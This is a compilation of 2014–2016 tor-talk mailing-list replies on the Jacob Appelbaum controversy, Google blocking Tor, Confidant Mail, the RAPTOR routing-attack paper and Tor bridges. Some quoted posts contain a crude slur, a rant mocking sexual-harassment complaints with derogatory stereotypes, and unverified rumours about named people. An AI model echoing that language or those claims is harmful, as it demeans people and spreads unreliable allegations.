insufferable cunt every time they beam waves from their psy-ops
satellites. That or the entire Tor community are agents of disinformation
conspiring against the one and only champion of truth who will save us
all!




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Re: [tor-talk] Statement by a group of women regarding *Appelbaum*

[Kevin]

Finally something constructive has come out of this!


On 6/11/2016 1:25 PM, carlo von lynX wrote:

FOR IMMEDIATE RELEASE: Saturday 11th June 2016

We, the undersigned, are a group of women who have been friends, colleagues, co-workers 
or partners of Jacob "Jake" Appelbaum over many years.

We have decided that we must speak out due to the nature of this coordinated 
and one-sided attack on his character and work. It has become clear the 
mainstream media are unwilling to fact-check, and only too willing to persist 
in spreading uncorroborated and unfalsifiable rumor. This statement is to give 
our positive experiences with Jake from our first-hand, long-term perspectives, 
over many public and private situations.

We do not claim to know what happened in precise situations that we were not 
present for, and we do not want to trivialise and minimise any pain that may 
have been caused. But we are observing – beyond the allegations, that are not 
for us to comment on specifically – an egregious character assassination is 
being played out with numerous defamations online and offline. This is not how 
the truth can be determined, or justice for anyone done, whether law 
enforcement is to be trusted or not.

We would like to state that our experiences with Jake are different than what 
is often being portrayed. We know Jake to be a kind, loyal and dedicated 
person. We do understand Jake can be outspoken and provocative regarding a 
number of issues – which can come across as offensive – however, we have never 
found Jake to be as is being alleged.

We are not apologists for any genuine wrongdoing, and as women working in this 
community we know that there are struggles around sexism. However, simple 
punitivism is not how the human rights that we all defend should be enforced or 
framed.

We believe that an open and evidence-based discussion in this situation is 
necessary to allow our community to develop better processes to handle any 
allegations. Furiously targeting one person without allowing for proper fact 
analysis will never solve the bigger structural problem that has been 
highlighted. We should use this moment to grow and make things better, not 
destroy the movement and create divisions. We need to create a channel for 
discussions on how to make things better.

We stand in solidarity with Jake against the way this is being handled and on 
the side of justice for all, in hope the truth on all sides will be able to 
come to light in a rational and constructive manner.


Renata Avila, Human Rights Lawyer
Susan Benn, Artist
Cathleen Berger, Policy Advisor
Geraldine de Bastion, Policy Expert
Annegret Falter, Political Scientist
Marie Gutbub, Journalist
Sarah Harrison, Journalist
Christy Lange, Writer
Isik Mater, Infosec Specialist
Angela Richter, Theatre Director
Felicity Ruby, PhD Candidate
Joana Veron, Lawyer


The initial signatories to this statement (named above) have opened an email 
address to receive additional
signatories as well as any other constructive comments.

Email: dueproc...@riseup.net
Key ID: 3D1CEF58
Key Fingerprint: 2A1D 7685 7AF0 ADD5 F3E5 D5B0 748C FAE0 3D1C EF58


https://assets.documentcloud.org/documents/2858953/Statement-Appelbaum-11-06.pdf
https://assets.documentcloud.org/documents/2858953/Statement-Appelbaum-11-06.txt



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Re: [tor-talk] Graffiti "rapist lives here" at Jacob Appelbaum's house

[Kevin]

We talk about how internet bullying is wrong.  Well, this is internet 
bullying.



On 6/10/2016 5:19 PM, Mirimir wrote:

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 06/10/2016 02:23 PM, Not Friendly wrote:

On 2016-06-10 15:12, Flipchan wrote:

That is so much to far

carlos...@sigaint.org skrev: (10 juni 2016 20:32:39 CEST)


https://i.imgur.com/N0yv8DU.png

https://twitter.com/Shidash

https://pbs.twimg.com/media/Ckl7yTEWEAA6ko8.jpg

https://pbs.twimg.com/media/Ckm-FkAWgAAJzEc.jpg

No shit.




Sincerly Flipchan

I agree. People have taken this from an attempt to harm someone's
reputation to commiting a serious crime. The attacks againist Jacob
Appelbaum have become emotionally distressful to some who care
about members of the Tor community.

It's freaked me out, for sure. Worse than the Pando bullshit. And it's
not so much that I care about Jacob. He's very charismatic, and a
great speaker, and so arguably valuable to the project. But he's not a
friend. I've never met him, or even communicated personally with him.
But I know an Internet lynch mob when I see one.


WIRED (https://www.wired.com/2016/06/tor-developer-jacob-appelbaum
-resigns-amid-sex-abuse-claims/) stated "It also highlights the
broader hacker community's long-running problem with sexism and
sexual harassment" this doesn't only harm one individual's
reputation but it hurts the Tor community's reputation as a whole.
We need to consider these things.

The problem here is that "sexism" and "sexual harassment" have become
technical terms, in some communities, with meanings that differ
substantially from those in common usage.

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Re: [tor-talk] Can we have less of Jacob Appelbaum here, please?

[Kevin]

Yes indeed.  I mean, it is important but is this the correct forum to go 
on and on about such things?  If it is, I will retract my statement.



On 6/10/2016 4:39 AM, m...@beroal.in.ua wrote:

Hello, people. Sincerely, I'm tired of this flood of threads.



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Re: [tor-talk] Sorry Jake I know you are innocent

[Kevin]

Why would you even joke about this situation?


On 6/8/2016 7:13 PM, ja.t...@eugeni.torproject.org wrote:

Hey guys I am just making all this stuff up, sorry for being such a stuipd 
asshole!



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Re: [tor-talk] Reddit user babalui1 claims that Roger Dingledine is next to get fired by the Tor Project

[Kevin]

Of course.  That's how this stuff works.  We have to go after everybody 
having to do with a situation.  Bring on the sacrificial lamb!



On 6/8/2016 6:13 PM, carlos...@sigaint.org wrote:

Reddit user babalui1 claims that Roger Dingledine is next to get fired by
the Tor Project

"Next to get booted from the Tor Project will be one of the founders of
the Tor Project Roger Dingledine, the official reason will be that he was
traveling with Jacob to various conventions and knew of Jacobs behavior
but didn't do anything about it even when he was the interim executive
director."

https://i.imgur.com/5OkBZfW.png

Is this true?





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Re: [tor-talk] RIP Tor

[Kevin]

I don't understand your rant.  Tor is nowhere near death.


On 6/7/2016 2:35 AM, a...@cock.lu wrote:
First they fall for the social justice meme thinking it's a force for 
good.
Then they allow the project to be infiltrated by the blue haired 
problem glasses brigade.
Then they start modifying their community guidelines to appease their 
new members, probably under the guise that it's to prevent evil sexist 
MRAs from "harassing" (read: disagreeing with) their new SJW friends.
Then the SJWs decide prominent members of the project need to be cyber 
lynched so they can take over.
"Jacob once farted in the same elevator as me, it was literally rape! 
#FireHimOrTorIsRapists"
"Jacob once disagreed with me, it was a legitimate death threat that 
made me fear for my life! #FireHimOrTorWantsToKillAllWomen"
"He once mentioned playing a video game, I knew he was a gamergater! 
Damn misogynist hates women! #KillAllWhiteMen"

Then Tor loses their best spokesman.
The SJWs and their friends fill the now empty jobs and repeat the 
process until they're the only ones with power over the project.
Then Tor dies, since the only "work" that gets done is virtue 
signalling on Twitter.


It's only a matter of time before they eat Nick or Roger.

RIP Jacob.
RIP Tor.

Usually I get a lot of schadenfreude from watching idiots destroy 
themselves like this, but Tor is close to my heart so I'm quite sad.

The NSA has won.



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Re: [tor-talk] doing a google search creates a 403 forbidden when I'm on the tor network

[Kevin]

I'm not sure what google has against tor.


On 6/6/2016 7:03 PM, Sarah Alawami wrote:

Oh good, I'm not theeonly one seeing the error then. Well I guess I will have 
to not do my google searches when using the tor network then I guess. I use the 
proxi method of tor so yeah glad it fails to on the tor browser. Well, nt glad, 
but glad I'm not feeling like I'm going crazy.

On Jun 6, 2016, at 1:33 PM, Kevin <kevinsisco61...@gmail.com> wrote:

Well I tried it and it gives me that error.  It seems that google is blocking 
tor.  At least that's how it seems to me.


On 6/6/2016 4:10 PM, Sarah Alawami wrote:

I can try it out, but if it is not accessible to me using voiceover that won't 
work at all.

I'll look into it later. Right now I'm trying to write some documentation on 
something I'm designing, and I just came up for air for a bit.

Blessings and happy Monday

On Jun 6, 2016, at 11:37 AM, Cecilia Tanaka <cecilia.tan...@gmail.com> wrote:

On Jun 6, 2016 1:47 AM, "Sarah Alawami" <marri...@gmail.com> wrote:


I was just on the tor network and launched google to do a google search.

I got a 403 forbidden when trying to search for something.  (...)  I didn't
know tor blocked google searches.

Hi, Sarah.

Until I know  - and I know almost nothing, sorry! -  Tor doesn't block
Google resources and Google's official position about Tor Project is:

"Google is not doing anything intentionally specifically to deter or block
Tor use."

Just for curiosity, try to use Duck Duck Go instead Google for making your
searches when using Tor, please.

It is pretty cute and some of their collaborators are amazing people.
Happy "quack quack" experience for you!  :-)

Have a lovely day!

Cecilia
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Re: [tor-talk] doing a google search creates a 403 forbidden when I'm on the tor network

[Kevin]

Well I tried it and it gives me that error.  It seems that google is 
blocking tor.  At least that's how it seems to me.



On 6/6/2016 4:10 PM, Sarah Alawami wrote:

I can try it out, but if it is not accessible to me using voiceover that won't 
work at all.

I'll look into it later. Right now I'm trying to write some documentation on 
something I'm designing, and I just came up for air for a bit.

Blessings and happy Monday

On Jun 6, 2016, at 11:37 AM, Cecilia Tanaka  wrote:

On Jun 6, 2016 1:47 AM, "Sarah Alawami"  wrote:


I was just on the tor network and launched google to do a google search.

I got a 403 forbidden when trying to search for something.  (...)  I didn't
know tor blocked google searches.

Hi, Sarah.

Until I know  - and I know almost nothing, sorry! -  Tor doesn't block
Google resources and Google's official position about Tor Project is:

"Google is not doing anything intentionally specifically to deter or block
Tor use."

Just for curiosity, try to use Duck Duck Go instead Google for making your
searches when using Tor, please.

It is pretty cute and some of their collaborators are amazing people.
Happy "quack quack" experience for you!  :-)

Have a lovely day!

Cecilia
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Re: [tor-talk] 1 Million People use Facebook over Tor

[Kevin Shi]

It's like building a steel pipeline of Coca-Cola to a drought stricken
country and advertising that Coke is mostly composed primarily of water.

Not exactly certain that 'grateful' is the right feeling here.
On Apr 23, 2016 7:05 AM,  wrote:

> On 23.04.16 07:09, juan wrote:
>
>> On Fri, 22 Apr 2016 23:02:11 -0400
>> Roger Dingledine  wrote:
>>
>> On Sat, Apr 23, 2016 at 11:41:09AM +1000, Peter Tonoli wrote:
>>>
 This is a real success story for Tor

>>> I agree!
>>>
>>> Thank you Alec and other security people at Facebook for seeing the
>>> value in secure communications, and also for being willing to stand up
>>> and talk about numbers.
>>>
>>> For those who are now thinking "wait, what's the point in using Tor
>>> when going to Facebook?",
>>>
>>
>> Right, there isnt any. This is just your usual and stupid
>> propaganda. Now go get a few more grants from the
>> pentagon.
>>
>> My little story. Facebook banned me after a month of use. I never logged
> in via Tor. I was not told the reason for the ban. I guess it's because I
> didn't use my real name. Anyhow, thank you for providing us your Onion
> website! :-)
>
> Then suddenly Iran blocked Facebook, a good chunk of the Persian
>> Facebook population switched over to reaching Facebook via Tor, and he
>> became a huge Tor fan because otherwise those users would have been cut
>> off.
>>
> The thing is that Tor is bad for circumventing censorship because Tor is
> not a masked proxy. Guess what will happen when Facebook rulers realize
> this.
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Re: [tor-talk] Article downtalking Tor for commercial purposes

[Kevin Gallagher]

Hello everyone,

Shortly after sending an email to the maintainers of the site I revisited
the article and it seems there is now a comment field (that was not there
before).

Sorry for any confusion.

Thanks,

Kevin Gallagher
Graduate Student, Department of Computer Science
New York University Tandon School of Engineering
2 MetroTech Center, 10th Floor
Brooklyn, NY 11201
Email: kevin.gallag...@nyu.edu
Key Fingerprint: D02B 25CB 0F7D E276 06C3  BF08 53E4 C50F 8247 4861



On Wed, Jan 20, 2016 at 3:31 PM, Kevin Gallagher <kevin.gallag...@nyu.edu>
wrote:

> Hello everyone,
>
> I have found a recent article that attempts to unfairly depict Tor in a
> bad light without mentioning many of the positives. I find it interesting
> that, when mentioning alternatives for Tor, the only link provided is to a
> "review" (what appears to be sponsored content) published on a website that
> the author works/writes for that is stamped with "sign up now"
> advertisements. This seems like a move to misinform the general public in
> order to gain money from them, but I cannot comment to ask about this
> because facebook is needed to comment. In addition, the author doesn't
> provide any way to contact her without using mainstream social media.
>
> Is there any way we can clarify this to readers? Is there anything we can
> do about this?
>
>
> http://www.digitalmediaghost.com/blog/6-reasons-why-tor-isnt-the-magic-browser-you-think-it-is
>
> Thanks,
>
> Kevin Gallagher
> Graduate Student, Department of Computer Science
> New York University Tandon School of Engineering
> 2 MetroTech Center, 10th Floor
> Brooklyn, NY 11201
> Email: kevin.gallag...@nyu.edu
> Key Fingerprint: D02B 25CB 0F7D E276 06C3  BF08 53E4 C50F 8247 4861
>
>
>
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[tor-talk] Article downtalking Tor for commercial purposes

[Kevin Gallagher]

Hello everyone,

I have found a recent article that attempts to unfairly depict Tor in a bad
light without mentioning many of the positives. I find it interesting that,
when mentioning alternatives for Tor, the only link provided is to a
"review" (what appears to be sponsored content) published on a website that
the author works/writes for that is stamped with "sign up now"
advertisements. This seems like a move to misinform the general public in
order to gain money from them, but I cannot comment to ask about this
because facebook is needed to comment. In addition, the author doesn't
provide any way to contact her without using mainstream social media.

Is there any way we can clarify this to readers? Is there anything we can
do about this?

http://www.digitalmediaghost.com/blog/6-reasons-why-tor-isnt-the-magic-browser-you-think-it-is

Thanks,

Kevin Gallagher
Graduate Student, Department of Computer Science
New York University Tandon School of Engineering
2 MetroTech Center, 10th Floor
Brooklyn, NY 11201
Email: kevin.gallag...@nyu.edu
Key Fingerprint: D02B 25CB 0F7D E276 06C3  BF08 53E4 C50F 8247 4861
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Re: [tor-talk] Fwd: [tor-relays] Tor Project slandered?

[Kevin Flowers]

Whats his addy?

-Original Message-
From: tor-talk [mailto:tor-talk-boun...@lists.torproject.org] On Behalf Of
grarpamp
Sent: Wednesday, November 4, 2015 12:18 PM
To: tor-talk@lists.torproject.org
Subject: [tor-talk] Fwd: [tor-relays] Tor Project slandered?

-- Forwarded message --
From: Larry Brandt 
Date: Wed, Nov 4, 2015 at 12:01 PM
Subject: [tor-relays] Tor Project slandered?
To: tor-rel...@lists.torproject.org


Last night my wife and I caught an episode of 'NCSI New Orleans.' The plot
involved a brainiac from DARPA with a congenital heart problem.
His job, he reported to NCSI, was to decrypt the Tor network.  He needed a
new heart to finish what was almost done.  He stated: "97% of all illegal
internet activity occurs on the deep web".  He made no distinction between
deep web and Tor.  This morning I fired off an email to the show producer
telling him what a disservice he was doing to people worldwide who needed
anonymity. Maybe some of you will join me in communicating to him.
LB
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[tor-talk] .onion address found in my website comments

[Kevin]

Hello.  I found an onion link in the comment section of my site. Now, I 
removed the comment and marked it as spam but I am wondering if it can 
be traced or reported.  Should I take further action?



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Re: [tor-talk] .onion address found in my website comments

[Kevin]

On 9/12/2015 4:13 PM, Griffin Boyce wrote:

Kevin wrote:

Hello.  I found an onion link in the comment section of my site. Now,
I removed the comment and marked it as spam but I am wondering if it
can be traced or reported.  Should I take further action?


  The content of .onion links can't be traced.  If the content was 
objectionable, then sounds like you solved the problem by deleting the 
comment.  (Most onion sites don't contain objectionable content, but 
it sounds like this one did. Sorry if this is the first interaction 
you've had with Tor users).


best,
Griffin

Thanks.  I know that onion botnets aren't a thing but I figured 
better safe than sorry.



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Re: [tor-talk] Invaded by disconnect.me

[Kevin]

On 5/31/2015 10:55 PM, Paul A. Crable wrote:

Perhaps someone could help me here.  On version 4.5.1 of the Tor (Firefox)
browser, the search field, to the right of the place to enter the URL, now
has a symbol on it that is proprietary to disconnect.me.  I have also
found that while working on the WWW, from time to time a screen comes up
from direct.me asking me to enter search terms and to select the search
engine to use.

It appears that disconnect.me has hijacked the search field in Foxfile,
and also found a way to interpose it's own search screen when URL's cannot
be found.  I have done nothing to make this happen, and unfortunately
don't know what I can do to make it go away.

Can anyone explain why this is happening?

Until now the default search engine for Tor was Start Page, but that's
gone.  Is Tor no longer using Start Page as the default search engine?

I expect this kind of thing with a standard browser, but I thought Tor and
Foxfile had pretty well locked things down to prevent this kind of thing
happening.

Any thoughts?

Paul

It sounds like some form of malware to me.


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Re: [tor-talk] Hi!

[Kevin]

On 4/3/2015 12:48 PM, gary02121...@openmailbox.org wrote:

Hi!

I'm writing about Tor for my Ethics module. Do you guys mind if you tell
me some malicious uses with Tor? Anything will be of great help. Yeah I
already know of the basic or common use cases. :)

Thanks!

PS. I know this is vague but please ask away for anything you guys are
not clear about or something.
You could look into the attacks on onion routing as I am doing. It's 
quite interesting.



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Re: [tor-talk] RAPTOR: Routing Attacks on Privacy in Tor

[Kevin]

On 3/16/2015 7:26 PM, grarpamp wrote:

http://arxiv.org/abs/1503.03940

Yixin Sun, Anne Edmundson, Laurent Vanbever, Oscar Li, Jennifer
Rexford, Mung Chiang, Prateek Mittal
(Submitted on 13 Mar 2015)

The Tor network is a widely used system for anonymous communication.
However, Tor is known to be vulnerable to attackers who can observe
traffic at both ends of the communication path. In this paper, we show
that prior attacks are just the tip of the iceberg. We present a suite
of new attacks, called Raptor, that can be launched by Autonomous
Systems (ASes) to compromise user anonymity. First, AS-level
adversaries can exploit the asymmetric nature of Internet routing to
increase the chance of observing at least one direction of user
traffic at both ends of the communication. Second, AS-level
adversaries can exploit natural churn in Internet routing to lie on
the BGP paths for more users over time. Third, strategic adversaries
can manipulate Internet routing via BGP hijacks (to discover the users
using specific Tor guard nodes) and interceptions (to perform traffic
analysis). We demonstrate the feasibility of Raptor attacks by
analyzing historical BGP data and Traceroute data as well as
performing real-world attacks on the live Tor network, while ensuring
that we do not harm real users. In addition, we outline the design of
two monitoring frameworks to counter these attacks: BGP monitoring to
detect control-plane attacks, and Traceroute monitoring to detect
data-plane anomalies. Overall, our work motivates the design of
anonymity systems that are aware of the dynamics of Internet routing.
If such attacks are network wide, is there anything the end-user can do 
to keep themselves safe?  Does tor need special configuration?



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Re: [tor-talk] A Declaration of the Independence of Cyberspace

[Kevin]

On 3/7/2015 4:50 AM, Александр wrote:

​​
by John Perry Barlow

Governments of the Industrial World, you weary giants of flesh and steel, I
come from Cyberspace, the new home of Mind. On behalf of the future, I ask
you of the past to leave us alone. You are not welcome among us. You have
no sovereignty where we gather.

We have no elected government, nor are we likely to have one, so I address
you with no greater authority than that with which liberty itself always
speaks. I declare the global social space we are building to be naturally
independent of the tyrannies you seek to impose on us. You have no moral
right to rule us nor do you possess any methods of enforcement we have true
reason to fear.

Governments derive their just powers from the consent of the governed. You
have neither solicited nor received ours. We did not invite you. You do not
know us, nor do you know our world. Cyberspace does not lie within your
borders. Do not think that you can build it, as though it were a public
construction project. You cannot. It is an act of nature and it grows
itself through our collective actions.

You have not engaged in our great and gathering conversation, nor did you
create the wealth of our marketplaces. You do not know our culture, our
ethics, or the unwritten codes that already provide our society more order
than could be obtained by any of your impositions.

You claim there are problems among us that you need to solve. You use this
claim as an excuse to invade our precincts. Many of these problems don't
exist. Where there are real conflicts, where there are wrongs, we will
identify them and address them by our means. We are forming our own Social
Contract . This governance will arise according to the conditions of our
world, not yours. Our world is different.

Cyberspace consists of transactions, relationships, and thought itself,
arrayed like a standing wave in the web of our communications. Ours is a
world that is both everywhere and nowhere, but it is not where bodies live.

We are creating a world that all may enter without privilege or prejudice
accorded by race, economic power, military force, or station of birth.

We are creating a world where anyone, anywhere may express his or her
beliefs, no matter how singular, without fear of being coerced into silence
or conformity.

Your legal concepts of property, expression, identity, movement, and
context do not apply to us. They are all based on matter, and there is no
matter here.

Our identities have no bodies, so, unlike you, we cannot obtain order by
physical coercion. We believe that from ethics, enlightened self-interest,
and the commonweal, our governance will emerge . Our identities may be
distributed across many of your jurisdictions. The only law that all our
constituent cultures would generally recognize is the Golden Rule. We hope
we will be able to build our particular solutions on that basis. But we
cannot accept the solutions you are attempting to impose.

In the United States, you have today created a law, the Telecommunications
Reform Act, which repudiates your own Constitution and insults the dreams
of Jefferson, Washington, Mill, Madison, DeToqueville, and Brandeis. These
dreams must now be born anew in us.

You are terrified of your own children, since they are natives in a world
where you will always be immigrants. Because you fear them, you entrust
your bureaucracies with the parental responsibilities you are too cowardly
to confront yourselves. In our world, all the sentiments and expressions of
humanity, from the debasing to the angelic, are parts of a seamless whole,
the global conversation of bits. We cannot separate the air that chokes
from the air upon which wings beat.

In China, Germany, France, Russia, Singapore, Italy and the United States,
you are trying to ward off the virus of liberty by erecting guard posts at
the frontiers of Cyberspace. These may keep out the contagion for a small
time, but they will not work in a world that will soon be blanketed in
bit-bearing media.

Your increasingly obsolete information industries would perpetuate
themselves by proposing laws, in America and elsewhere, that claim to own
speech itself throughout the world. These laws would declare ideas to be
another industrial product, no more noble than pig iron. In our world,
whatever the human mind may create can be reproduced and distributed
infinitely at no cost. The global conveyance of thought no longer requires
your factories to accomplish.

These increasingly hostile and colonial measures place us in the same
position as those previous lovers of freedom and self-determination who had
to reject the authorities of distant, uninformed powers. We must declare
our virtual selves immune to your sovereignty, even as we continue to
consent to your rule over our bodies. We will spread ourselves across the
Planet so that no one can arrest our thoughts.

We will create a civilization of the Mind in Cyberspace. May it be more
humane and 

Re: [tor-talk] Why corrupt government officials are strongly opposed to this Tor project (a Gestapo government run amok!)

[Kevin]

On 3/5/2015 6:37 AM, goofyzrn...@vfemail.net wrote:

Travis Bean:

a Gestapo government run amok!

The terminology Gestapo translates to seventeen different
organizations (http://www.intelligence.gov/mission/member-agencies.html)

the Gestapo government here in the United States


The Gestapo sent millions of people to death camps [1-5].  The 
conflation of genocidal bastards with the NSA and their Five Eyes 
counterparts is a false equivalence.  The NSA really hasn't murdered 
millions of people [6-8], and the word Gestapo doesn't actually 
appear on the page you've cited.


The real Gestapo no longer exists.

gz

[1] http://www.britannica.com/EBchecked/topic/232117/Gestapo
[2] http://www.pbs.org/wgbh/nova/holocaust/timeprint.html
[3] 
http://www.csmonitor.com/The-Culture/The-Home-Forum/2008/1201/p17s01-hfgn.html

[4] http://www.jewishvirtuallibrary.org/jsource/Holocaust/Gestapo.html
[5] 
http://www.thedailybeast.com/articles/2014/07/13/the-gestapo-still-sets-the-bar-for-evil.html
[6] 
http://www.britannica.com/EBchecked/topic/405392/National-Security-Agency-NSA

[7] http://www.theguardian.com/world/2013/jun/06/us-tech-giants-nsa-data
[8] 
https://www.propublica.org/article/the-nsas-secret-campaign-to-crack-undermine-internet-encryption



-

VFEmail.net - http://www.vfemail.net
ONLY AT VFEmail! - Use our Metadata Mitigator to keep your email out 
of the NSA's hands!
$24.95 ONETIME Lifetime accounts with Privacy Features! 15GB disk! No 
bandwidth quotas!
Commercial and Bulk Mail Options! 

It's funny how we never can shake the tin hat crew.


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Re: [tor-talk] Rip Off

[Kevin]

On 2/12/2015 11:51 PM, evervigil...@riseup.net wrote:
I'd seen this earlier on the tor talk lists 
(http://cryptographi.com/products/snoopsafe) and realized that this 
could just as easily be done on a raspberry pi with some creative 
reprogramming for a hundred bucks less.


https://www.adafruit.com/products/1406

https://www.adafruit.com/products/1410



Rip off?  Perhaps.  But it really looks like a great product!


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Re: [tor-talk] Removal of Vidalia content from our website

[Kevin]

On 2/8/2015 11:30 PM, Piotr Zyrko wrote:

podpis
9 lut 2015 05:20 Sebastian Hahn sebast...@torproject.org napisał(a):

Hi tor-talk,

we have stopped updating our Vidalia bundles a long time ago, today I've
removed the download links and related documentation from the Website.
At this time, Vidalia has been unmaintained for too long to be a
recommended solution.

Cheers
Sebastian

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I need to be the one to ask this:
Why is it no longer supported?


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Re: [tor-talk] New Tor-based private mail system: Confidant Mail

[Kevin]

On 2/2/2015 9:57 PM, Mike Ingle wrote:
Confidant Mail is a new cryptographic email system based on GPG and 
TLS 1.2 with ephemeral keys. It has built-in support for Tor hidden 
service anonymity. You can send and receive files of unlimited length 
(4GB) using BitTorrent-like blocking, and people without Tor can 
communicate with Tor anonymous users. All messages are signed and 
encrypted, and delivery is confirmed automatically. You can use your 
existing email address.


The software is available for Windows, Linux, and MacOS. It is open 
source. There is a pair of servers available, so you can start using 
it immediately. You can also run your own servers, optionally as a 
hidden service.


If you want a better secure and anonymous mail system, this is it. 
Please set up an account and try out the software.


http://www.confidantmail.org
Mike Ingle m...@confidantmail.org 
d2b89e6f95e72e26e0c917d02d1847dfecfcd0c2



I like the sound of this!


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Re: [tor-talk] New Tor-based private mail system: Confidant Mail

[Kevin]

On 2/3/2015 12:33 PM, krishna e bera wrote:

On 15-02-02 09:57 PM, Mike Ingle wrote:

http://www.confidantmail.org
Mike Ingle m...@confidantmail.org
d2b89e6f95e72e26e0c917d02d1847dfecfcd0c2

I am curious why someone delivering security and privacy software does
not have HTTPS on their webserver.  Also what is that string after your
email address for?





That string looks like a key


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Re: [tor-talk] Confidant Mail

[Kevin]

On 2/3/2015 3:56 PM, Zenaan Harkness wrote:

On 2/4/15, Mike Ingle m...@confidantmail.org wrote:

On 2/3/2015 10:31 AM, Kevin wrote:

On 2/3/2015 12:33 PM, krishna e bera wrote:

On 15-02-02 09:57 PM, Mike Ingle wrote:

http://www.confidantmail.org
Mike Ingle m...@confidantmail.org
d2b89e6f95e72e26e0c917d02d1847dfecfcd0c2

I am curious why someone delivering security and privacy software does
not have HTTPS on their webserver.  Also what is that string after your
email address for?


That string looks like a key

That string is indeed a key. The format is Name email keyid
and you can search for either the name or the keyid to find someone's
key. If you search for the keyid
you know you have the right key. If you search for the name, you have to
verify the keyid somehow.

If this is a 'general protocol' type of thing (email), is there any
sense in having say a key prefix or namespace of some sort, so that
confindant mail keys aren't mixed up with tox keys etc?

Perhaps the key could have a header like:
---Confidant maile---
random charsend
---


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Re: [tor-talk] Firefox Hello and privacy

[Kevin]

On 1/28/2015 5:16 PM, Lara wrote:

I have checked the net high and low. And the talk is mostly about where
you find the smiley icon to put on the bar.

How does it work? How does it respect privacy? Do you know anything
about this new thing?

It sounds...interesting to say the least.


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[tor-talk] New to this list

[Kevin]

Hello.  I am a programmer and computer security specialist, to name a 
few things.  I am on this list because I have learned of onion botnets 
and I felt that this would be a good place to research ways to combat 
them.  I hope to gather some meaningful info as well as engage in some 
tor talk!


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Re: [tor-talk] New to this list

[Kevin]

On 1/23/2015 1:34 PM, Philipp Winter wrote:

On Fri, Jan 23, 2015 at 01:17:30PM -0500, Kevin wrote:

Hello.  I am a programmer and computer security specialist, to name
a few things.  I am on this list because I have learned of onion
botnets and I felt that this would be a good place to research ways
to combat them.  I hope to gather some meaningful info as well as
engage in some tor talk!

This paper might be a good start:
http://fc14.ifca.ai/papers/fc14_submission_152.pdf

Cheers,
Philipp
Thank you for that paper!  It obviously looks like cryptography needs a 
new hero from the looks of this research.



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Re: [tor-talk] New to this list

[Kevin]

On 1/23/2015 4:10 PM, Greg Norcie wrote:

If you're interested in free literature on anonymity, AnonBib is a great
resource:

http://www.freehaven.net/anonbib/

I suggest reading some of the founational papers.


Considering your technical background Tor: The Second-Generation Onion
Router is a good place to start. It has a link on to a free HTML
version on Anonbib:

https://svn.torproject.org/svn/projects/design-paper/tor-design.html

If you click the star next to the title of the paper on AnonBib, it
takes you to the Google Scholar page. You can see who has cited the
paper, and what GS considers to be related literature.

You can repeat that process for any papers that catch your eye.
Have fun!

PS: If you want to search on Google Scholar easily, one simple way is to
append !gsc to your query when searching with DuckDuckGo. Google has the
link to it buried a bit in the current UI.
--
Greg Norcie (gnor...@indiana.edu)
PhD Student, Security Informatics
Indiana University

On 1/23/15 1:34 PM, Philipp Winter wrote:

On Fri, Jan 23, 2015 at 01:17:30PM -0500, Kevin wrote:

Hello.  I am a programmer and computer security specialist, to name
a few things.  I am on this list because I have learned of onion
botnets and I felt that this would be a good place to research ways
to combat them.  I hope to gather some meaningful info as well as
engage in some tor talk!

This paper might be a good start:
http://fc14.ifca.ai/papers/fc14_submission_152.pdf

Cheers,
Philipp


Thanks for the papers.  The second one was particularly helpful.


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Re: [tor-talk] question about bridge relays

[Kevin Nestor]

Thanks, guys.

This actually wasn’t hard to understand - I just hope someone adds the updated 
screenshots to the site; I would if I had the time these days.

Cheers!

-Kevin

On Jan 27, 2014, at 1:24 AM, Matthew Finkel matthew.fin...@gmail.com wrote:

 On Mon, Jan 27, 2014 at 01:09:39AM -0500, Roger Dingledine wrote:
 On Sun, Jan 26, 2014 at 04:43:02PM -0600, Kevin Nestor wrote:
 all of your posts and videos about setting up for to use a bridge rely
 on an older version of bridge that uses vidalia separately.
 
 Now that everyone can only download the Tor browser bundle that opens
 as a single browser (mine being a mac), you can not get anything in the
 settings menu that gives you the option to ?find bridges.?  What can
 you do to find a local bridge?
 
 The find bridges button was broken on Vidalia anyway, ever since
 https://bridges.torproject.org/ added a captcha to make it harder for
 bad guys to automate pretending to be lots of people and learn lots of
 bridges addresses.
 
 Now the right answer is to go to https://bridges.torproject.org/ and
 learn some bridges. Then you can either choose 'configure' rather than
 'connect' when you start TBB the first time, in which case it will walk
 you through adding the bridges you found, or if you've already started
 TBB, go to 'open network settings' in your Torbutton (the green onion near
 the URL bar) and select 'my ISP blocks connections to the Tor network'.
 
 
 To add to this, be aware that if you go to
 https://bridges.torproject.org/ then you will likely receive two types
 of bridges. There are vanilla bridges and there are bridges which that
 Tor Project call Pluggable Transports. If you copy the bridges from the
 website into the Tor Browser Bundle, as Roger described, you may only be
 able to use some of them, which is fine, you only need one bridge to
 work. If you would like all of the bridges on the website to work then
 you will want to download the Pluggable Transport-capable Tor Browser
 Bundle. It's a little larger in size but it provides additional
 functionality that is important if you are somewhere that censors Tor
 connections.
 
 The pluggable transport bundle is available from [0]. If you are using a
 Mac then you will want to choose one from the first 13 links, the links
 that contain osx32 in the file name, and you'll want to choose the link
 that provides your preferred language, if it's available (de = German,
 en-US = US English, es-ES = Spanish (Spain), fa = Farsi, etc).
 
 There is also a FAQ page which will hopefully answer some of your
 questions. One of the sections[1], How do I use pluggable transports?
 provides instructions and some bridges to help you get started. If
 possible, follow Roger's instructions above to add the 'obfsproxy'
 bridge lines in that section, if that doesn't work then try to follow
 the instructions on that webpage.
 
 The announcement that was made for this pluggable transport-capable TBB
 can be found on [2]. It provides some more links and additional
 information (including the two links I mentioned above).
 
 Sorry if these instructions are difficult to follow or understand.
 Whether or not you need to use the pluggable transport-capable bundle
 really depends on where you are. If you don't know if you need to use
 pluggable transports then try following Roger's directions first. If you
 are still unable to connect to the Tor network then try to follow the
 instruction for the pluggable transport-capable bundle.
 
 [0] https://people.torproject.org/~dcf/pt-bundle/3.5-pt20131217/
 [1] https://www.torproject.org/docs/faq#PluggableTransports
 [2] https://blog.torproject.org/blog/tor-browser-bundle-35-released
 
 If somebody reading this wants to make some updated screenshots for
 https://www.torproject.org/docs/bridges#UsingBridges
 that would be swell.
 
 
 That really would be swell. The easier we can make this, with
 step-by-step visual instructions, the bettwe.
 
 I hope this helps,
 - Matt
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[tor-talk] question about bridge relays

[Kevin Nestor]

Hi!

all of your posts and videos about setting up for to use a bridge rely on an 
older version of bridge that uses vidalia separately.

Now that everyone can only download the Tor browser bundle that opens as a 
single browser (mine being a mac), you can not get anything in the settings 
menu that gives you the option to “find bridges.”  What can you do to find a 
